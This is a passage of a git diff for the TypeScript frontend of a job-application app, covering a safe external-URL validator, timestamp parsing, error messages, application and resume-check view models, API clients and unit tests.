the raw input means what we validated is exactly what gets + * navigated to. Rejected: `javascript:`, `data:`, `file:`, `blob:` and every + * other scheme; relative and protocol-relative strings; URLs with embedded + * credentials (`https://trusted.com@evil.com`, a classic lookalike trick); + * anything with whitespace or control characters; absurd lengths. + */ + +const MAX_URL_LENGTH = 2048; + +// eslint-disable-next-line no-control-regex -- detecting control characters is the point +const WHITESPACE_OR_CONTROL = /[\u0000- \u007f-\u009f]/; + +export function safeExternalUrl(value: unknown): string | null { + if (typeof value !== 'string') return null; + const trimmed = value.trim(); + if (trimmed.length === 0 || trimmed.length > MAX_URL_LENGTH) return null; + // URL parsers silently drop tabs/newlines (`java\tscript:` is `javascript:`), + // so refuse them outright instead of reasoning about what survives parsing. + if (WHITESPACE_OR_CONTROL.test(trimmed)) return null; + + let url: URL; + try { + url = new URL(trimmed); + } catch { + return null; + } + if (url.protocol !== 'https:' && url.protocol !== 'http:') return null; + if (url.username !== '' || url.password !== '') return null; + if (url.hostname === '') return null; + return url.href; +} + +/** The host to show next to an "opens on another site" button, e.g. `boards.greenhouse.io`. */ +export function externalUrlHost(value: unknown): string | null { + const safe = safeExternalUrl(value); + if (!safe) return null; + return new URL(safe).hostname.replace(/^www\./, ''); +} diff --git a/apps/web/src/components/applications/failure-message.ts b/apps/web/src/components/applications/failure-message.ts new file mode 100644 index 0000000..2883b99 --- /dev/null +++ b/apps/web/src/components/applications/failure-message.ts @@ -0,0 +1,66 @@ +/** + * Turns a failed request into the sentence a job seeker should read. The raw + * `ApiError.message` is a server string ("Cannot move an application from + * \"draft\" to ..."), and a network failure is a bare `TypeError`, so neither + * is shown directly. + * + * Duck-typed on `{ status, code }` instead of `instanceof ApiError` so it can + * be unit tested without pulling in the fetch wrapper. + */ + +export type FailureScope = 'start-application' | 'record-open' | 'mark-submitted' | 'resume-check'; + +export interface FailureInfo { + /** HTTP status, or null when the request never got a response (offline, DNS, CORS, non-JSON gateway page). */ + status: number | null; + code: string | null; +} + +export function failureInfo(cause: unknown): FailureInfo { + if (typeof cause === 'object' && cause !== null) { + const { status, code } = cause as { status?: unknown; code?: unknown }; + return { + status: typeof status === 'number' ? status : null, + code: typeof code === 'string' ? code : null, + }; + } + return { status: null, code: null }; +} + +const OFFLINE = "We couldn't reach Atlas just now. Check your connection and try again."; +const SIGNED_OUT = 'Your session has expired. Please sign in again.'; +const RATE_LIMITED = "You're doing that too quickly. Wait a few seconds and try again."; + +export function failureMessage(scope: FailureScope, cause: unknown): string { + const { status, code } = failureInfo(cause); + + if (status === 401 || code === 'UNAUTHENTICATED' || code === 'SESSION_EXPIRED') return SIGNED_OUT; + if (status === 429 || code === 'RATE_LIMITED') return RATE_LIMITED; + + switch (scope) { + case 'start-application': + if (code === 'JOB_NOT_FOUND') return "This job is no longer available, so an application can't be started for it."; + if (code === 'RESUME_NOT_FOUND') return "That resume isn't ready to use. Choose a resume that has finished processing."; + if (code === 'CONFLICT') return 'You already have an application for this job.'; + if (status !== null && status < 500) return "We couldn't start this application. Refresh the page and try again."; + break; + case 'mark-submitted': + if (code === 'NOT_FOUND') return "We couldn't find this application. Refresh the page and try again."; + if (status !== null && status < 500) { + return "This application can't be marked as submitted from its current status. Refresh the page to see where it stands."; + } + break; + case 'record-open': + return "We couldn't note that you opened the employer's page. Your application is unchanged, and you can still apply and mark it submitted."; + case 'resume-check': + if (status === 409 || code === 'CONFLICT') { + return "This resume hasn't finished processing, so it can't be checked yet. Try again in a moment, or choose another resume."; + } + if (code === 'RESUME_NOT_FOUND') return "We couldn't find that resume. Refresh the page and choose another one."; + if (code === 'JOB_NOT_FOUND') return 'This job is no longer available to check against.'; + if (status !== null && status < 500) return "We couldn't run the check. Refresh the page and try again."; + break; + } + + return status === null ? OFFLINE : 'Something went wrong on our side. Please try again in a moment.'; +} diff --git a/apps/web/src/components/applications/timestamp.ts b/apps/web/src/components/applications/timestamp.ts new file mode 100644 index 0000000..3cf61e9 --- /dev/null +++ b/apps/web/src/components/applications/timestamp.ts @@ -0,0 +1,67 @@ +/** + * Lenient timestamp parsing for values that come back from the backend. + * + * applications-service serialises Postgres `timestamptz` columns as Postgres + * prints them (`2026-10-27 12:59:21.123+00`: a space instead of `T`, a bare + * `+00` offset, up to microsecond precision). `isoTimestampSchema` rejects that + * shape, and engines disagree on `new Date()` for it, so a strict zod parse + * would throw for every real row and a bare `new Date(value)` would work in + * Chrome and give "Invalid Date" elsewhere. This normalises the shapes we have + * seen, and returns `null` (never throws, never an Invalid Date) for anything + * it cannot trust. + * + * Pure and dependency-free so it can be unit tested without a DOM. + */ + +const TIMESTAMP_PATTERN = + /^(\d{4})-(\d{2})-(\d{2})(?:[T ](\d{2}):(\d{2})(?::(\d{2})(?:[.,](\d{1,9}))?)?)?\s*(Z|[+-]\d{2}(?::?\d{2})?)?$/i; + +function daysInMonth(year: number, month: number): number { + return new Date(Date.UTC(year, month, 0)).getUTCDate(); +} + +/** `+00` -> `+00:00`, `+0530` -> `+05:30`, `z` -> `Z`; absent means UTC (the backend only emits UTC). */ +function normaliseOffset(raw: string | undefined): string { + if (raw === undefined || raw.toUpperCase() === 'Z') return 'Z'; + const sign = raw.charAt(0); + const digits = raw.slice(1).replace(':', ''); + const hours = digits.slice(0, 2); + const minutes = digits.length > 2 ? digits.slice(2, 4) : '00'; + return `${sign}${hours}:${minutes}`; +} + +export function parseServiceTimestamp(value: unknown): Date | null { + if (typeof value !== 'string') return null; + const match = TIMESTAMP_PATTERN.exec(value.trim()); + if (!match) return null; + + const [, year = '', month = '', day = '', hour = '00', minute = '00', second = '00', fraction = '', offset] = match; + const y = Number(year); + const mo = Number(month); + const d = Number(day); + // `new Date('2026-02-31')` silently rolls over to March, so check the day ourselves. + if (mo < 1 || mo > 12 || d < 1 || d > daysInMonth(y, mo)) return null; + if (Number(hour) > 23 || Number(minute) > 59 || Number(second) > 59) return null; + + // Millisecond precision is all a Date holds; extra digits are truncated, not rounded. + const millis = fraction.padEnd(3, '0').slice(0, 3); + const date = new Date(`${year}-${month}-${day}T${hour}:${minute}:${second}.${millis}${normaliseOffset(offset)}`); + return Number.isNaN(date.getTime()) ? null : date; +} + +export interface FormatDateOptions { + /** Shown when the value is missing or unparseable. */ + fallback?: string; + /** BCP 47 tag; defaults to the viewer's locale. */ + locale?: string; + /** IANA zone; defaults to the viewer's. Tests pin it to stay deterministic. */ + timeZone?: string; +} + +/** A short calendar date (`Oct 27, 2026`), or the fallback when the value can't be read. */ +export function formatServiceDate(value: unknown, options: FormatDateOptions = {}): string { + const { fallback = 'Unknown date', locale, timeZone } = options; + const date = parseServiceTimestamp(value); + if (!date) return fallback; + return date.toLocaleDateString(locale, { year: 'numeric', month: 'short', day: 'numeric', timeZone }); +} diff --git a/apps/web/src/components/applications/view-model.ts b/apps/web/src/components/applications/view-model.ts new file mode 100644 index 0000000..06b757e --- /dev/null +++ b/apps/web/src/components/applications/view-model.ts @@ -0,0 +1,134 @@ +import type { ApplicationJobSummary, ApplicationResponse, ApplicationStatus } from '@atlas/types'; +import { safeExternalUrl } from './external-url'; +import { formatServiceDate } from './timestamp'; + +/** + * One application as the owner's list/detail endpoints return it. `job` is + * `null` when the job (or its company) was removed and absent on views that + * must not carry job context, so every consumer has to tolerate both. + */ +export type ApplicationItem = ApplicationResponse['application']; + +/** + * Notes the applications-service recognises. Keep in step with + * services/applications/src/lib/transitions.ts (OPENED_APPLY_LINK_NOTE): only + * this exact note turns a `draft -> draft` event into the "opened the employer + * page" marker; anything else is rejected as a no-op status change. + */ +export const OPENED_APPLY_LINK_NOTE = 'opened_apply_link'; +export const MARKED_SUBMITTED_NOTE = 'Candidate confirmed they applied on the employer site.'; + +/** + * The same (job, resume) always maps to the same key, so a retry after a + * dropped response, a double click, or a second tab can never create a second + * application: the service answers a repeat of the same request with the + * application it already made. A different resume for the same job gets a + * different key and is refused by the service's one-application-per-job rule, + * which the caller resolves by loading the existing application. + */ +export function buildApplicationIdempotencyKey(jobId: string, resumeId: string): string { + return `atlas-web:start:${jobId}:${resumeId}`; +} + +/** Lifecycle order, earliest first. `satisfies` makes a new backend status a compile error here. */ +const STATUS_RANK = { + draft: 0, + queued: 1, + submitting: 2, + submitted: 3, + acknowledged: 4, + interviewing: 5, + offer: 6, + rejected: 7, + withdrawn: 8, + failed: 9, +} satisfies Record; + +function rankOf(status: string): number { + return (STATUS_RANK as Record)[status] ?? Number.MAX_SAFE_INTEGER; +} + +export interface StatusFilter { + /** `'all'` or an application status. */ + value: string; + label: string; + count: number; +} + +function capitalise(status: string): string { + return status.charAt(0).toUpperCase() + status.slice(1).replaceAll('_', ' '); +} + +/** "All" plus one entry per status that actually occurs, in lifecycle order — no empty filters to click. */ +export function buildStatusFilters(items: readonly ApplicationItem[]): StatusFilter[] { + const counts = new Map(); + for (const item of items) counts.set(item.status, (counts.get(item.status) ?? 0) + 1); + + const perStatus = [...counts.entries()] + .sort(([a], [b]) => rankOf(a) - rankOf(b) || a.localeCompare(b)) + .map(([value, count]) => ({ value, label: capitalise(value), count })); + return [{ value: 'all', label: 'All', count: items.length }, ...perStatus]; +} + +export function filterByStatus(items: readonly T[], filter: string): T[] { + return filter === 'all' ? [...items] : items.filter((item) => item.status === filter); +} + +export function findApplicationForJob(items: readonly T[], jobId: string): T | null { + return items.find((item) => item.job_id === jobId) ?? null; +} + +export interface ApplicationDisplay { + title: string; + /** Null when the job summary is missing: we don't invent an employer name. */ + company: string | null; + location: string | null; + /** In-app link back to the job page, or null when the job no longer exists. */ + jobHref: string | null; + /** The job is gone or no longer accepting applications. */ + jobUnavailable: boolean; + createdLabel: string; + submittedLabel: string | null; +} + +export interface DisplayOptions { + locale?: string; + timeZone?: string; +} + +/** Everything the applications list renders for one row, tolerant of a null/absent `job`. */ +export function toApplicationDisplay(item: ApplicationItem, options: DisplayOptions = {}): ApplicationDisplay { + const job: ApplicationJobSummary | null = item.job ?? null; + const dateOptions = { locale: options.locale, timeZone: options.timeZone }; + return { + title: job?.title ?? 'Job no longer available', + company: job?.company_name ?? null, + location: job?.location ?? null, + jobHref: job ? `/dashboard/jobs/${item.job_id}` : null, + jobUnavailable: job === null || !job.is_active, + createdLabel: formatServiceDate(item.created_at, { ...dateOptions, fallback: 'recently' }), + submittedLabel: item.submitted_at ? formatServiceDate(item.submitted_at, { ...dateOptions, fallback: 'recently' }) : null, + }; +} + +/** + * Where a job's assisted-apply flow stands: + * - `none`: no application yet. + * - `draft`: tracked in Atlas, not yet reported as submitted. + * - `tracked`: past draft (submitted or later), so there is nothing left to do here. + */ +export type ApplyStage = 'none' | 'draft' | 'tracked'; + +export function deriveApplyStage(application: ApplicationItem | null): ApplyStage { + if (!application) return 'none'; + return application.status === 'draft' ? 'draft' : 'tracked'; +} + +/** + * The employer link to offer, always run through {@link safeExternalUrl}. The + * application's own job summary wins (the service already filtered it to + * http(s)); the job record is the fallback before an application exists. + */ +export function resolveApplyUrl(application: ApplicationItem | null, jobApplyUrl: string | null | undefined): string | null { + return safeExternalUrl(application?.job?.apply_url) ?? safeExternalUrl(jobApplyUrl); +} diff --git a/apps/web/src/components/jobs/job-view-model.ts b/apps/web/src/components/jobs/job-view-model.ts new file mode 100644 index 0000000..98b2b6c --- /dev/null +++ b/apps/web/src/components/jobs/job-view-model.ts @@ -0,0 +1,126 @@ +import type { EmploymentType, Job, RemoteType } from '@atlas/types'; + +const REMOTE_LABELS: Record = { + remote: 'Remote', + hybrid: 'Hybrid', + onsite: 'On-site', + unknown: 'Work arrangement not stated', +}; + +const EMPLOYMENT_LABELS: Record = { + full_time: 'Full-time', + part_time: 'Part-time', + contract: 'Contract', + internship: 'Internship', + unknown: 'Employment type not stated', +}; + +/** Falls back to the raw value so a type added on the backend still renders something. */ +export function remoteTypeLabel(value: string): string { + return (REMOTE_LABELS as Record)[value] ?? value.replaceAll('_', ' '); +} + +export function employmentTypeLabel(value: string): string { + return (EMPLOYMENT_LABELS as Record)[value] ?? value.replaceAll('_', ' '); +} + +/** 0–1 score -> whole percent, clamped; null for anything that isn't a finite number. */ +export function matchPercent(score: unknown): number | null { + if (typeof score !== 'number' || !Number.isFinite(score)) return null; + return Math.round(Math.min(1, Math.max(0, score)) * 100); +} + +function formatAmount(amount: number, currency: string | null): string { + if (currency) { + try { + return new Intl.NumberFormat('en-US', { + style: 'currency', + currency, + maximumFractionDigits: 0, + }).format(amount); + } catch { + // Not an ISO 4217 code the runtime knows: show the digits with the raw code. + return `${currency} ${amount.toLocaleString('en-US')}`; + } + } + return amount.toLocaleString('en-US'); +} + +/** "$120,000 – $150,000", "From $90,000", "Up to $90,000", or null when the posting states no salary. */ +export function formatSalary(job: Pick): string | null { + const { salary_min: min, salary_max: max, salary_currency: currency } = job; + if (min !== null && max !== null) { + return min === max ? formatAmount(min, currency) : `${formatAmount(min, currency)} – ${formatAmount(max, currency)}`; + } + if (min !== null) return `From ${formatAmount(min, currency)}`; + if (max !== null) return `Up to ${formatAmount(max, currency)}`; + return null; +} + +const NAMED_ENTITIES: Record = { + amp: '&', + lt: '<', + gt: '>', + quot: '"', + apos: "'", + nbsp: ' ', + ndash: '–', + mdash: '—', + rsquo: '’', + lsquo: '‘', + rdquo: '”', + ldquo: '“', + bull: '•', + hellip: '…', +}; + +function decodeEntities(text: string): string { + return text.replace(/&(#x[0-9a-f]+|#\d+|[a-z]+);/gi, (whole, body: string) => { + if (body.startsWith('#')) { + const code = body[1] === 'x' || body[1] === 'X' ? parseInt(body.slice(2), 16) : parseInt(body.slice(1), 10); + return Number.isInteger(code) && code > 0 && code <= 0x10ffff ? String.fromCodePoint(code) : whole; + } + return NAMED_ENTITIES[body.toLowerCase()] ?? whole; + }); +} + +/** + * Job descriptions arrive as whatever the upstream feed sent: plain text, HTML, + * or HTML that was entity-escaped on the way (Greenhouse). The result is only + * ever rendered as React text children, so nothing here can inject markup; + * this just makes the text readable by dropping tags and keeping paragraph and + * list-item breaks. Returns paragraphs, blank ones removed. + */ +export function descriptionToParagraphs(description: string | null | undefined): string[] { + if (typeof description !== 'string') return []; + let text = description.replaceAll('\r\n', '\n'); + + // Entity-escaped markup (`<p>...`) is decoded first so the tag pass below sees real tags. + if (!text.includes('<') && /<\/?[a-z]/i.test(text)) text = decodeEntities(text); + + text = text + .replace(/<\s*(script|style)[^>]*>[\s\S]*?<\s*\/\s*\1\s*>/gi, '') + .replace(/<\s*br\s*\/?>/gi, '\n') + .replace(/<\s*(?:ul|ol)[^>]*>/gi, '\n\n') + .replace(/<\s*li[^>]*>/gi, '• ') + .replace(/<\s*\/\s*li\s*>/gi, '\n') + .replace(/<\s*\/\s*(p|div|h[1-6]|ul|ol|tr)\s*>/gi, '\n\n') + .replace(/<[^>]*>/g, ''); + text = decodeEntities(text); + + return text + .split(/\n{2,}/) + .map((paragraph) => + paragraph + .split('\n') + .map((line) => line.replace(/[ \t ]+/g, ' ').trim()) + .filter((line) => line.length > 0) + .join('\n'), + ) + .filter((paragraph) => paragraph.length > 0); +} + +/** Total characters across paragraphs, to decide whether a "Show more" toggle is worth rendering. */ +export function paragraphsLength(paragraphs: readonly string[]): number { + return paragraphs.reduce((sum, paragraph) => sum + paragraph.length, 0); +} diff --git a/apps/web/src/components/resume-check/report-view-model.ts b/apps/web/src/components/resume-check/report-view-model.ts new file mode 100644 index 0000000..b0edd3c --- /dev/null +++ b/apps/web/src/components/resume-check/report-view-model.ts @@ -0,0 +1,169 @@ +import type { BulletIssue, Resume, ResumeOptimizationReport } from '@atlas/types'; +import { formatServiceDate, parseServiceTimestamp } from '../applications/timestamp'; + +/** + * Shown if a response ever arrives without the note. The check is advisory and + * never edits the resume; the page must not read as if it did. + */ +export const FALLBACK_TRUTHFULNESS_NOTE = + 'These suggestions are advisory. Atlas never adds skills, employers, or numbers to your resume for you — only include a keyword or metric if it is true.'; + +// --- choosing a resume ------------------------------------------------------ + +/** + * Only resumes that finished parsing can be checked or applied with + * (profile-service answers 409 for the rest), newest first. Timestamps are read + * leniently; rows whose date can't be read keep their incoming order, after the + * dated ones. + */ +export function pickParsedResumes(resumes: readonly Resume[]): Resume[] { + const parsed = resumes.filter((resume) => resume.status === 'parsed'); + const time = (resume: Resume): number => parseServiceTimestamp(resume.created_at)?.getTime() ?? Number.NEGATIVE_INFINITY; + // Array#sort is stable, so equal/unreadable dates keep the order the API gave. + return parsed.sort((a, b) => time(b) - time(a)); +} + +/** The most recent parsed resume, or null when there is none to check. */ +export function defaultResumeId(resumes: readonly Resume[]): string | null { + return pickParsedResumes(resumes)[0]?.resume_id ?? null; +} + +export function resumeOptionLabel(resume: Resume, options: { locale?: string; timeZone?: string } = {}): string { + const uploaded = formatServiceDate(resume.created_at, { ...options, fallback: '' }); + return uploaded ? `${resume.original_filename} (uploaded ${uploaded})` : resume.original_filename; +} + +/** What to tell a user who can't run the check yet, based on the resumes they have. */ +export type ResumeAvailability = 'none' | 'processing' | 'failed' | 'ready'; + +export function resumeAvailability(resumes: readonly Resume[]): ResumeAvailability { + if (resumes.length === 0) return 'none'; + if (resumes.some((resume) => resume.status === 'parsed')) return 'ready'; + if (resumes.some((resume) => resume.status === 'pending' || resume.status === 'processing')) return 'processing'; + return 'failed'; +} + +// --- the report ------------------------------------------------------------- + +export type KeywordBand = 'strong' | 'partial' | 'weak' | 'none'; + +export interface BulletFindingView { + key: string; + /** "Senior Engineer, Acme" — where in the resume the bullet lives. */ + where: string; + bullet: string; + issues: string[]; + suggestions: string[]; +} + +export interface AtsCheckView { + label: string; + hint: string; +} + +export interface ReportViewModel { + /** 0–100, or null when the posting names no keywords to compare against. */ + keywordScore: number | null; + band: KeywordBand; + bandLabel: string; + keywordSummary: string; + matched: string[]; + missing: string[]; + bulletFindings: BulletFindingView[]; + atsScore: number | null; + /** Only the checks that did not pass, heaviest first. */ + atsIssues: AtsCheckView[]; + recommendations: string[]; + truthfulnessNote: string; + /** One sentence for the polite live region. */ + announcement: string; +} + +const ISSUE_LABELS: Record = { + weak_opening: 'Weak opening', + no_metric: 'No measurable result', + too_short: 'Too short', + too_long: 'Too long', +}; + +const BAND_LABELS: Record = { + strong: 'Strong overlap', + partial: 'Partial overlap', + weak: 'Low overlap', + none: 'Nothing to compare', +}; + +export function keywordBand(score: number | null): KeywordBand { + if (score === null) return 'none'; + if (score >= 70) return 'strong'; + if (score >= 40) return 'partial'; + return 'weak'; +} + +function dedupeKeywords(values: readonly string[] | undefined): string[] { + const seen = new Set(); + const result: string[] = []; + for (const value of values ?? []) { + const trimmed = value.trim(); + const key = trimmed.toLowerCase(); + if (trimmed.length === 0 || seen.has(key)) continue; + seen.add(key); + result.push(trimmed); + } + return result; +} + +function summarise(score: number | null, matched: number, missing: number): string { + if (score === null) { + return "This posting doesn't list keywords we can recognise, so there is nothing to compare your resume against."; + } + const total = matched + missing; + return `${matched} of the ${total} keyword${total === 1 ? '' : 's'} we found in this posting appear${matched === 1 ? 's' : ''} in your resume.`; +} + +/** + * Turns the optimize report into what the panel renders. Defensive about every + * list, because a missing array should degrade to "nothing to show" rather than + * crash the page. It only reads the report: no field here rewrites or adds + * resume content. + */ +export function toReportViewModel(report: ResumeOptimizationReport): ReportViewModel { + const matched = dedupeKeywords(report.keyword_match?.matched); + const missing = dedupeKeywords(report.keyword_match?.missing); + const keywordScore = typeof report.keyword_match?.score === 'number' ? report.keyword_match.score : null; + const band = keywordBand(keywordScore); + + const bulletFindings = (report.bullet_findings ?? []).map((finding) => ({ + key: `${finding.company}|${finding.title}|${finding.bullet_index}`, + where: [finding.title, finding.company].filter((part) => part.length > 0).join(', '), + bullet: finding.bullet, + issues: finding.issues.map((issue) => ISSUE_LABELS[issue] ?? issue.replaceAll('_', ' ')), + suggestions: finding.suggestions, + })); + + const atsChecks = report.ats?.checks ?? []; + const atsIssues = atsChecks + .filter((check) => !check.passed) + .sort((a, b) => b.weight - a.weight) + .map((check) => ({ label: check.label, hint: check.hint })); + + const note = typeof report.truthfulness_note === 'string' ? report.truthfulness_note.trim() : ''; + + return { + keywordScore, + band, + bandLabel: BAND_LABELS[band], + keywordSummary: summarise(keywordScore, matched.length, missing.length), + matched, + missing, + bulletFindings, + atsScore: typeof report.ats?.score === 'number' ? Math.round(report.ats.score) : null, + atsIssues, + recommendations: (report.recommendations ?? []).filter((line) => line.trim().length > 0), + truthfulnessNote: note.length > 0 ? note : FALLBACK_TRUTHFULNESS_NOTE, + announcement: + keywordScore === null + ? 'Resume check complete. This posting lists no keywords to compare against.' + : `Resume check complete. ${keywordScore}% keyword overlap: ${matched.length} matched, ${missing.length} missing.`, + }; +} diff --git a/apps/web/src/lib/services/applications.ts b/apps/web/src/lib/services/applications.ts index 9e90f2a..d6a571c 100644 --- a/apps/web/src/lib/services/applications.ts +++ b/apps/web/src/lib/services/applications.ts @@ -1,7 +1,27 @@ -import type { ApplicationResponse, CreateApplicationRequest, ListApplicationsResponse } from '@atlas/types'; +import type { + AppendApplicationEventRequest, + ApplicationResponse, + CreateApplicationRequest, + ListApplicationsResponse, +} from '@atlas/types'; import { apiFetch } from '../api'; import { SERVICE_URLS } from '../config'; +/** + * Responses from this service are deliberately NOT run through the strict zod + * schemas: its timestamps are Postgres-style strings (`2026-10-27 + * 12:59:21.123+00`) that `isoTimestampSchema` rejects. Read them with + * components/applications/timestamp instead. + */ + +/** + * Creates an application. Only `mode: 'manual'` is usable today: the service + * rejects `auto` with a 400 (Atlas cannot submit to an employer's ATS on a + * candidate's behalf), so this client never sends it. + * + * Idempotent per user: repeating the same (job, resume, mode) with the same + * key returns the existing application (200) instead of creating another. + */ export function createApplication( input: CreateApplicationRequest, idempotencyKey: string, @@ -15,6 +35,56 @@ export function createApplication( }); } -export function listApplications(accessToken: string): Promise { - return apiFetch(SERVICE_URLS.applications, '/v1/applications', { accessToken }); +export interface ListApplicationsOptions { + limit?: number; + cursor?: string | null; +} + +export function listApplications(accessToken: string, options: ListApplicationsOptions = {}): Promise { + const query = new URLSearchParams(); + if (options.limit !== undefined) query.set('limit', String(options.limit)); + if (options.cursor) query.set('cursor', options.cursor); + const suffix = query.size > 0 ? `?${query.toString()}` : ''; + return apiFetch(SERVICE_URLS.applications, `/v1/applications${suffix}`, { accessToken }); +} + +export function getApplication(applicationId: string, accessToken: string): Promise { + return apiFetch(SERVICE_URLS.applications, `/v1/applications/${encodeURIComponent(applicationId)}`, { + accessToken, + }); +} + +/** Appends a lifecycle event; the response is the application's updated owner view. */ +export function appendApplicationEvent( + applicationId: string, + event: AppendApplicationEventRequest, + accessToken: string, +): Promise { + return apiFetch( + SERVICE_URLS.applications, + `/v1/applications/${encodeURIComponent(applicationId)}/events`, + { method: 'POST', body: event, accessToken }, + ); +} + +type ApplicationItem = ApplicationResponse['application']; + +const LOOKUP_PAGE_SIZE = 100; +const LOOKUP_MAX_PAGES = 5; + +/** + * The caller's application for one job, or null. The list endpoint has no + * job filter, so this walks the (newest-first) pages until it finds it, giving + * up after a few hundred applications rather than looping forever. + */ +export async function findApplicationForJobId(jobId: string, accessToken: string): Promise { + let cursor: string | null = null; + for (let page = 0; page < LOOKUP_MAX_PAGES; page++) { + const result: ListApplicationsResponse = await listApplications(accessToken, { limit: LOOKUP_PAGE_SIZE, cursor }); + const match = result.items.find((item) => item.job_id === jobId); + if (match) return match; + if (!result.next_cursor) return null; + cursor = result.next_cursor; + } + return null; } diff --git a/apps/web/src/lib/services/jobs.ts b/apps/web/src/lib/services/jobs.ts index b3ec0dc..d598eea 100644 --- a/apps/web/src/lib/services/jobs.ts +++ b/apps/web/src/lib/services/jobs.ts @@ -1,10 +1,25 @@ -import type { JobRecommendationsResponse } from '@atlas/types'; +import type { Job, JobRecommendationsResponse } from '@atlas/types'; import { apiFetch } from '../api'; import { SERVICE_URLS } from '../config'; -export function getRecommendations(userId: string, accessToken: string): Promise { - const query = new URLSearchParams({ user_id: userId, limit: '20' }); +export function getRecommendations(userId: string, accessToken: string, limit = 20): Promise { + const query = new URLSearchParams({ user_id: userId, limit: String(limit) }); return apiFetch(SERVICE_URLS.jobs, `/v1/jobs/recommendations?${query.toString()}`, { accessToken, }); } + +export interface JobResponse { + job: Job; +} + +/** + * One job by id. Responds 404 JOB_NOT_FOUND for an unknown id and 400 for a + * malformed one; callers should treat both as "not available". + * + * Timestamps on the returned job (`posted_at` etc.) are not zod-parsed here: + * read them with the lenient helper in components/applications/timestamp. + */ +export function getJob(jobId: string, accessToken: string): Promise { + return apiFetch(SERVICE_URLS.jobs, `/v1/jobs/${encodeURIComponent(jobId)}`, { accessToken }); +} diff --git a/apps/web/src/lib/services/profile.ts b/apps/web/src/lib/services/profile.ts index b042bff..bbb7804 100644 --- a/apps/web/src/lib/services/profile.ts +++ b/apps/web/src/lib/services/profile.ts @@ -1,4 +1,11 @@ -import type { CreateResumeResponse, Page, Resume, ResumeResponse } from '@atlas/types'; +import type { + CreateResumeResponse, + OptimizeResumeRequest, + OptimizeResumeResponse, + Page, + Resume, + ResumeResponse, +} from '@atlas/types'; import { ApiError, apiFetch } from '../api'; import { SERVICE_URLS } from '../config'; @@ -35,3 +42,17 @@ export function getResume(resumeId: string, accessToken: string): Promise> { return apiFetch>(SERVICE_URLS.profile, '/v1/resumes', { accessToken }); } + +/** + * Advisory comparison of one parsed resume against one job. Stateless on the + * server and never rewrites the resume. Responds 409 CONFLICT when the resume + * hasn't finished parsing, 404 RESUME_NOT_FOUND / JOB_NOT_FOUND otherwise. + */ +export function optimizeResume(resumeId: string, jobId: string, accessToken: string): Promise { + const body: OptimizeResumeRequest = { job_id: jobId }; + return apiFetch(SERVICE_URLS.profile, `/v1/resumes/${encodeURIComponent(resumeId)}/optimize`, { + method: 'POST', + body, + accessToken, + }); +} diff --git a/apps/web/test/applications-view-model.test.ts b/apps/web/test/applications-view-model.test.ts new file mode 100644 index 0000000..ecfd1b9 --- /dev/null +++ b/apps/web/test/applications-view-model.test.ts @@ -0,0 +1,228 @@ +import type { ApplicationJobSummary, ApplicationResponse } from '@atlas/types'; +import { describe, expect, it } from 'vitest'; +import { + buildApplicationIdempotencyKey, + buildStatusFilters, + deriveApplyStage, + filterByStatus, + findApplicationForJob, + OPENED_APPLY_LINK_NOTE, + resolveApplyUrl, + toApplicationDisplay, + type ApplicationItem, +} from '../src/components/applications/view-model'; + +const JOB_ID = '11111111-1111-4111-8111-111111111111'; +const RESUME_ID = '22222222-2222-4222-8222-222222222222'; + +const JOB: ApplicationJobSummary = { + job_id: JOB_ID, + title: 'Platform Engineer', + company_id: '33333333-3333-4333-8333-333333333333', + company_name: 'Acme Robotics', + location: 'Berlin', + remote_type: 'hybrid', + employment_type: 'full_time', + apply_url: 'https://boards.greenhouse.io/acme/jobs/1', + is_active: true, +}; + +function application(overrides: Partial = {}): ApplicationItem { + return { + application_id: '44444444-4444-4444-8444-444444444444', + user_id: '55555555-5555-4555-8555-555555555555', + job_id: JOB_ID, + resume_id: RESUME_ID, + organization_id: null, + status: 'draft', + mode: 'manual', + idempotency_key: 'atlas-web:start:x', + submitted_at: null, + // The exact shape the applications service sends. + last_event_at: '2026-10-27 12:59:21.123+00', + failure_reason: null, + created_at: '2026-10-27 12:59:21.123+00', + job: JOB, + ...overrides, + }; +} + +const DISPLAY = { locale: 'en-US', timeZone: 'UTC' }; + +describe('buildApplicationIdempotencyKey', () => { + it('is stable for the same job and resume, so a retry cannot create a second application', () => { + expect(buildApplicationIdempotencyKey(JOB_ID, RESUME_ID)).toBe(buildApplicationIdempotencyKey(JOB_ID, RESUME_ID)); + }); + + it('differs per job and per resume', () => { + const base = buildApplicationIdempotencyKey(JOB_ID, RESUME_ID); + expect(buildApplicationIdempotencyKey('99999999-9999-4999-8999-999999999999', RESUME_ID)).not.toBe(base); + expect(buildApplicationIdempotencyKey(JOB_ID, '99999999-9999-4999-8999-999999999999')).not.toBe(base); + }); + + it('fits the service limits (8-200 characters)', () => { + const key = buildApplicationIdempotencyKey(JOB_ID, RESUME_ID); + expect(key.length).toBeGreaterThanOrEqual(8); + expect(key.length).toBeLessThanOrEqual(200); + }); +}); + +describe('the opened-link marker note', () => { + it('is the exact string applications-service recognises', () => { + // services/applications/src/lib/transitions.ts: OPENED_APPLY_LINK_NOTE. A different + // string would be rejected as a draft -> draft no-op. + expect(OPENED_APPLY_LINK_NOTE).toBe('opened_apply_link'); + }); +}); + +describe('toApplicationDisplay', () => { + it('shows job title, company, location and a link back to the job', () => { + expect(toApplicationDisplay(application(), DISPLAY)).toEqual({ + title: 'Platform Engineer', + company: 'Acme Robotics', + location: 'Berlin', + jobHref: `/dashboard/jobs/${JOB_ID}`, + jobUnavailable: false, + createdLabel: 'Oct 27, 2026', + submittedLabel: null, + }); + }); + + it('reads the Postgres-style created_at and submitted_at without throwing', () => { + const display = toApplicationDisplay( + application({ status: 'submitted', submitted_at: '2026-10-28 09:00:00.5+00' }), + DISPLAY, + ); + expect(display.createdLabel).toBe('Oct 27, 2026'); + expect(display.submittedLabel).toBe('Oct 28, 2026'); + }); + + it('degrades gracefully when job is null (job or company deleted)', () => { + const display = toApplicationDisplay(application({ job: null }), DISPLAY); + expect(display.title).toBe('Job no longer available'); + expect(display.company).toBeNull(); + expect(display.location).toBeNull(); + expect(display.jobHref).toBeNull(); + expect(display.jobUnavailable).toBe(true); + }); + + it('degrades gracefully when job is absent (views that carry no job context)', () => { + const { job: _job, ...withoutJob } = application(); + const display = toApplicationDisplay(withoutJob, DISPLAY); + expect(display.title).toBe('Job no longer available'); + expect(display.jobHref).toBeNull(); + }); + + it('flags a job that still exists but is closed', () => { + const display = toApplicationDisplay(application({ job: { ...JOB, is_active: false } }), DISPLAY); + expect(display.jobUnavailable).toBe(true); + expect(display.jobHref).toBe(`/dashboard/jobs/${JOB_ID}`); + expect(display.company).toBe('Acme 